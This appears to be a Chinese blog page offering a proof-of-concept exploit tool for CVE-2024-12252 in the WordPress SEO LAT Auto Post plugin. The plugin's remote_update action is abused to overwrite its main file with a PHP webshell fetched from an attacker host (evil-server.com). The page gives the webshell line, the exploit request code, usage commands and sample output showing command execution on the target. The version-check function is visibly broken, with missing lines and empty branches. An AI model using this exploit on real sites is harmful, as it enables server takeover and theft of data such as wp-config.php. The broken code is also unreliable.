SEO LAT Auto Post 插件远程代码执行漏洞利用工具 (CVE-2024-12252)

SEO LAT Auto Post 插件远程代码执行漏洞利用工具 (CVE-2024-12252)

这是一个专业的、针对 WordPress SEO LAT Auto Post 插件中高危漏洞 (CVE-2024-12252) 的概念验证 (PoC) 利用工具。该工具能够自动化检测目标站点是否存在漏洞,并利用其缺陷覆盖插件核心文件,最终实现远程代码执行。

功能特性

  • 远程代码执行 :利用 remote_update AJAX 动作中缺失的权限检查,将用户提供的恶意 PHP shell 覆盖到插件的主文件 (seo-beginner-auto-post.php) 中,从而在服务器上执行任意代码。
  • 交互式命令执行 :在成功上传 shell 后,工具提供了一个简单的命令执行接口,可以直接在目标服务器上运行系统命令,如 ls, whoami 等。
  • 操作简单:只需提供目标 WordPress 站点的基础 URL 和恶意 PHP 文件的 URL,即可一键完成从检测到利用的全过程。

安装指南

系统要求

  • Python 3.x
  • pip (Python 包管理工具)

依赖项安装

本项目依赖于 requests 库来发送 HTTP 请求。在运行脚本之前,请使用以下命令安装所需的依赖:

bash 复制代码
pip install requests

使用说明

准备工作

在运行此工具前,你需要准备一个包含恶意 PHP 代码的 shell.php 文件,并将其托管在一个你可以访问的 Web 服务器上(例如 http://yourserver.com/shell.php)。该文件的内容可以是一个简单的 webshell,例如:

php 复制代码
<?php system($_GET['cmd']); ?>

命令行参数

脚本接受以下命令行参数:

参数 描述 是否必需
-u, --url 目标 WordPress 站点的根 URL (例如 http://example.com/wordpress)
--attack-url 你托管恶意 PHP shell 文件的直接 URL
-h, --help 显示帮助信息

运行示例

  1. 检查目标并执行利用

    bash 复制代码
    python CVE-2024-12252.py -u http://target-site.com/wordpress --attack-url http://evil-server.com/shell.php
  2. 执行过程示例输出

    text 复制代码
    [+] Detected plugin version: 2.2.0
    [!] Plugin is vulnerable. Proceeding with exploitation...
    [+] Ready for exploitation stage...
    [+] Triggering exploit with payload: http://evil-server.com/shell.php
    [+] Exploit triggered successfully.
    [+] Shell should be available at: http://target-site.com/wordpress/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php?cmd=whoami
    [+] Shell successfully uploaded. Access it at: http://target-site.com/wordpress/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php?cmd=ls
    [+] Executing 'ls' command:
    index.php
    wp-config.php
    wp-content
    ...

API 概览

check_vulnerable_version(base_url)
  • 描述: 检查目标站点上插件版本是否受 CVE-2024-12252 影响。
  • 参数 : base_url - 目标站点的根 URL。
  • 返回 : True 如果版本小于等于 2.2.1,否则返回 False
exploit_remote_update(base_url, attack_url)
  • 描述: 发送利用请求,覆盖目标插件的主文件。
  • 参数 : base_url - 目标站点的根 URL;attack_url - 托管恶意 PHP shell 的 URL。
  • 返回 : 成功时返回上传的 shell 文件的 URL,否则返回 None
execute_command(shell_url, command)
  • 描述: 向已上传的 shell 发送命令并执行。
  • 参数 : shell_url - shell 文件的 URL;command - 要执行的系统命令。
  • 返回: 命令执行的结果。

核心代码

以下是项目中的核心代码片段,展示了漏洞检测和利用的关键逻辑。

漏洞版本检测函数

python 复制代码
def check_vulnerable_version(base_url):



    try:

        if response.status_code == 200:
            match = re.search(r"Stable tag:\s*([\d.]+)", response.text)
            if match:
                version = match.group(1).strip()
                print(f"[+] Detected plugin version: {version}")
                if version <= "2.2.1":
                    print("[!] Plugin is vulnerable. Proceeding with exploitation...")
                    return True
                else:
                    print("[-] Plugin version is not vulnerable.")
            else:

        else:

    except requests.exceptions.RequestException as e:
        print(f"[-] Error while connecting: {e}")

    return False

漏洞利用核心函数

python 复制代码
def exploit_remote_update(base_url, attack_url):
    print(f"[+] Triggering exploit with payload: {attack_url}")
    exploit_url = base_url.rstrip('/') + "/wp-admin/admin-ajax.php?action=remote_update&url=" + attack_url
    try:
        response = session.post(exploit_url, timeout=10)
        if response.status_code == 200 and 'success' in response.text:
            print("[+] Exploit triggered successfully.")
            shell_path = base_url.rstrip('/') + "/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php"
            print(f"[+] Shell should be available at: {shell_path}?cmd=whoami")
            return shell_path
        else:
            print("[-] Exploit may have failed. Response:")
            print(response.text)
    except requests.exceptions.RequestException as e:
        print(f"[-] Exploit error: {e}")
    return None

该函数构造并发送一个 POST 请求到 admin-ajax.php,利用 action=remote_update 和用户提供的 attack_url 参数,将恶意文件内容写入目标插件的主文件,从而实现覆盖。 6HFtX5dABrKlqXeO5PUv/7Ow7viratU2TElqNnTrDVY=

相关推荐
大模型真好玩12 小时前
大模型训练全流程实战指南工具篇(十三)—— 大模型评测实战(数据集评测+自动化评测)
人工智能·agent·deepseek
ShGamu12 小时前
2026上半年链条输送机厂家全流程服务与选型参考
大数据·人工智能·链条输送机
charley.layabox12 小时前
大连理工,将 LayaAir AI 游戏设计带进校园
人工智能·游戏
小虎AI生活12 小时前
WorkBuddy 直接把 ima 知识库内置了,这件事比你想的大
aigc·ai编程
Raink老师12 小时前
【AI面试临阵磨枪-76】社交 AI:内容生成、审核、智能回复、多模态理解、安全治理
人工智能·安全·面试
装不满的克莱因瓶12 小时前
SpringAI Alibaba Tool工具调用机制实战-注解注册与函数调用全流程
人工智能·ai·tools·智能体·springai·tool
ZhengEnCi12 小时前
09ab-无偏置线性层是什么?
人工智能
Lkstar12 小时前
Transformer 核心机制拆解:自注意力、多头注意力、位置编码,一篇讲透
人工智能
云烟成雨TD12 小时前
Spring AI Alibaba 1.x 系列【60】检查点机制原理与全流程剖析
java·人工智能·spring
极光代码工作室12 小时前
基于机器学习的二手商品价格预测系统
人工智能·python·深度学习·机器学习